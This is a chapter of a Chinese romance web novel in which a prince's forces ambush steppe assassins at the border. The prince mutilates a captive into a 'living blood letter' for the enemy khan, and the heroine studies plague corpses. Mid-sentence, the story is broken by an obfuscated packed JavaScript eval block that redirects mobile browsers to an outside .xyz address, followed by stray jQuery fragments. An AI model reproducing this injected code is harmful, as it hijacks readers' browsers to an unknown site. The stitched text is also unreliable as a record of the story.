92. 刺杀
作品:《当药师替嫁残疾王爷后》 此处是边境,这个时间出现小股的、不知身份的人,简直令人不寒而栗。
向昼雪都不敢细想。
有了事情转移注意力,如今也忘了找燕靖昭算账的事情了,还顺理成章地指使上了人。
“再往前走点——对,就这里,抓紧我。”
向昼雪小心翼翼的调整着角度,生怕让下面的人看到了自己的位置。
好在树枝繁茂,能够将两个人挡的严严实实,不至于让人发现。
“这些人身形粗壮,脑袋又大又圆,不太像是中原人……诶,那里为什么亮晶晶的?为首之人的耳垂上穿着孔,上面还佩戴了一只耳环——是草原人!”
燕靖昭显然也发现了这一点,他们居高临下,视野是最好的,而刚刚自己派出去的人正在以迂回包抄的方式,朝着这队人运动。
这小队人数虽然不少,但是能潜入大邺的人,也不是什么草包,必然是圭元冬派遣的精锐部队。
向昼雪还想说些什么的时候,下面已经发现了彼此,直接交战了起来。
原本是自己的部队先发现的对方,抢占了先机,但对面显然不是吃素的,加上身体比己方强大结实,隐隐有了压制的趋势。
向昼雪看得心惊肉跳的,她扯了扯燕靖昭的衣袖:“你不帮……”
话音未落,燕靖昭一挥衣袖,自他手中弹出一只箭矢,射中了为首之人的肩颈。
草原人自知中了埋伏,叽里咕噜的说些什么,想要后撤。
然而众人哪里能放跑了他们,他们身后可是主帅,自然厮杀的更加卖力。
接下来场面就十分血腥了,燕靖昭伸手捂住了向昼雪的眼睛:“乖,别看。”
第一次上阵杀敌的人,回来都要吐好久,原因无他,同类相杀,总归是要出现些不良反应的。
他不想向昼雪受这份罪。
向昼雪倒也没反驳,她是见过尸体的,可不代表就能适应这样的场面,毕竟这刀剑入肉的声音就足够令她不适了。
绞杀的速度很快,燕靖昭松手的时候,向昼雪隐隐闻到了空气中的血腥气。
“我带你回去。”
身后有呜咽的声音,许是燕靖昭让人留下的活口,向昼雪点了点头,接下来的场面不适宜她在场,于是她很是明理的把空间让给了燕靖昭:“我去车里等你。”
燕靖昭点了点头,目送她上了车。
款冬一早在马车旁边等着了,看到向昼雪回来,倾身凑到了向昼雪的耳畔:“王妃,已经吩咐下去了。”
向昼雪轻‘嗯’了一声,转身上了马车。
倏然,她像是想到了什么似的,掀开车帘对款冬道:“不要等后天了,明天就出发。”
款冬愣了一下,旋即点了点头:“王爷给的侍卫都带了出来,奴婢这就下去安排。”
向昼雪挥了挥手,放下车帘检查起了自己的随身携带的工具。
以现有的范本来看,这次草原的疫病是川中村的升级版,到底有原先的底子在,这次出门又带了足够多的艾草,想来还是能撑上一阵子的。
她看了天色,继续急行军的话,估计今夜就能抵达蒲牢关,趁着明日修整的半日,足够她检查出个所以然来了。
接下来只要对原有药方进行改进加工,多熬上几个大夜,总能出结果的。
另一头,燕靖昭玩弄着手中的匕首,地上鲜红一片,耳边惨叫声不绝于耳,丝丝缕缕的血迹滴答滴答的落在地上,绽出一朵朵殷红的花。
“这水平来刺杀?”
眼前的男人不受控制的跪倒在地,捂着喉咙大口呼吸着,眼神里满是震惊和惊恐。
“无趣。”
燕靖昭将匕首收入刀鞘,扔给了一旁的凌鹤:“不必问了,杀了吧。”
他刚一转身,地上的人猛然起身,意图从背后袭击,然而燕靖昭身后像是长了眼睛一般,直接捏住了他的拳头。
随着一声凄厉无比的惨叫声,惊起无数飞鸟,这人的手臂像是面条一样,软趴趴的垂落下来。
燕靖昭轻嗤一声:“本王忽然改了主意。”
他俯身看着地上那个被人死死摁住的男人,神情并无什么波澜:“活着,才是最大的威慑。”
“凌鹤,修书一封,给圭元冬送一份大礼。”
燕靖昭勾了勾唇角,“活体血书,想必你们汗王会喜欢的吧。”
他满意地从那人的眼里看出了深入骨髓的惧怕,转身离去。
不过须臾,身后便再无喊叫声,只剩下无助的‘赫赫’音。
既然是血书,那也不必要有多余的东西了,安安静静的当一张纸就好了。
.
抵达蒲牢关的时候,大军在原地修整,向昼雪从燕靖昭的行为中,也大概猜到了这次的刺杀是个什么意思。
只要在边境杀掉燕靖昭,大邺必将内乱,趁现在汗国尚且还有战力,彻底打的大邺不敢出兵。
最后将这件事推到西北余孽身上,既摆脱了自身的嫌疑,还得到了休养生息的机会。
只要能停战,草原迟早有机会卷土重来。
倒是好谋算。
向昼雪重新拾起了药膳的功夫,做了一盏自己最拿手的,送到了燕靖昭的大帐里。
“王爷歇口气吧。”
“这么晚了,王妃怎么没早点歇息?”燕靖昭将药膳放到了自己的桌上,伸手去拉向昼雪的手。
“咱们又没分帐,王爷不睡?我要怎么休息?”向昼雪嗔怪道。
“倒是我的不对了。”燕靖昭笑了笑,“军营纪律森严,王妃可还适应?”
“没什么不适应的,严格是应该的。”向昼雪温柔小意起来,“我想去城里买点草药,行吗?”
“就这点事还要神神秘秘的?”燕靖昭指了指桌上的药膳,“来收买我的?”
向昼雪搂着他的脖子:“不行吗?”
燕靖昭挑了挑眉:“雪儿今晚格外主动啊,是看准了今天做不了什么吗?”
“看破不说破好吗?”向昼雪重新拿起了药膳,“放心喝吧,没毒没药,害不了你,大敌当前,我不至于连这点事都不懂。”
燕靖昭不知道向昼雪说这句话的目的,她是不是和自己一样,也察觉到了什么?
左右也有人跟着她,向昼雪又不是什么不知分寸的人,他也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15913472|159996||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乐得放手让向昼雪去处理。
“带上阿成,去吧。”
向昼雪也不想表现出太大的异样,索性直接点了头。
“那我走了,你别太想我。”
燕靖昭总觉得这话里暗含深意,但他也没细想,就这么放向昼雪出去了。
直到凌鹤送来了上午的调查结果,燕靖昭惊得直接站了起来,外面正好有巡逻的士兵经过,险些暴露了自己。
他压低了声音,语气森然:“你们怎么做事的!”
凌鹤也很委屈,为了拓展自己的情报网,也是为了扶持王妃那面的情报,是王爷自己下的命令,让下面的人辅助春兰。
那春兰自己在外那么长时间,总有些渠道是他们没法涉猎的,绕过了王爷的关系,那不是轻而易举吗?
眼下再追回来已然是不可能的事情了,燕靖昭既骄傲又担心,颇像是老父亲对着自家已经长成的女儿的复杂心理。
最终,他叹了口气:“既然要研究,就多给她弄些尸体来吧,总不好让她自己偷偷摸摸的去做。”
似乎在劝说自己:“就这么呆在后方也好,总好过在前线朝不保夕。”
向昼雪并不知道燕靖昭的心理活动这么丰富,她被春兰引到了城南角落一处远人的屋子里:“这些都是和草原人做生意时,不小心感染的大邺人,为了方便对比,奴婢还找了几个草原人的尸体,就在那面的角落。”
“对了,这还有些脉案,都是给人治病的时候,当地的医师留下的,奴婢也都令人誊抄了一份。”
“辛苦了,不用在这里陪我,都出去吧,感染了就不好了。”
进了这里的人都带上了面衣,穿上了对应的防护工具,向昼雪更是齐全,生怕自己没做好防护,最后回去传给燕靖昭或者是军中的人。
“我们开始吧。”向昼雪隔着面衣对留在这里的仵作道。
—
血书先大军一步送到汗国境内。
因着装扮的事情,汗国士兵仅凭着标志性的耳环就能确认对方的身份,巡查的士兵看到对方尊容的时候,差点吓破了胆。
有胆大的士兵上前探了下对方的鼻息,发现人还活着,于是连滚带爬的跑去禀报大汗了。
圭元冬得到消息的时候还在小妾的床上,听到外面有人禀报,草草处理了一下,十分不耐烦的将自己的女人随手扔给了手下,不顾那个女人惊恐的声音。
“什么事在外面吵嚷?”
他骂骂咧咧的披上了自己的衣服,在看到自己部下的时候,差点没站稳。
此时的男人已然是强弩之末了,听到了自家汗王的声音,最后发出了‘赫赫’的声音,便直接咽了气。
下面人战战兢兢的禀报:“……汗王,他——他、身上还有字。”
圭元冬强忍着恶心,伸手拨开了自己曾经最信任下属的衣襟。
随后愤怒的挥刀斩了那两个早已吓破胆了的士兵。
“有动摇军心者,斩立决!”
他将自己的衣服盖在了木车里的下属身上,指骨被他捏的咯吱作响。
“大邺的睿亲王——本汗迟早要将他挫骨扬灰。”

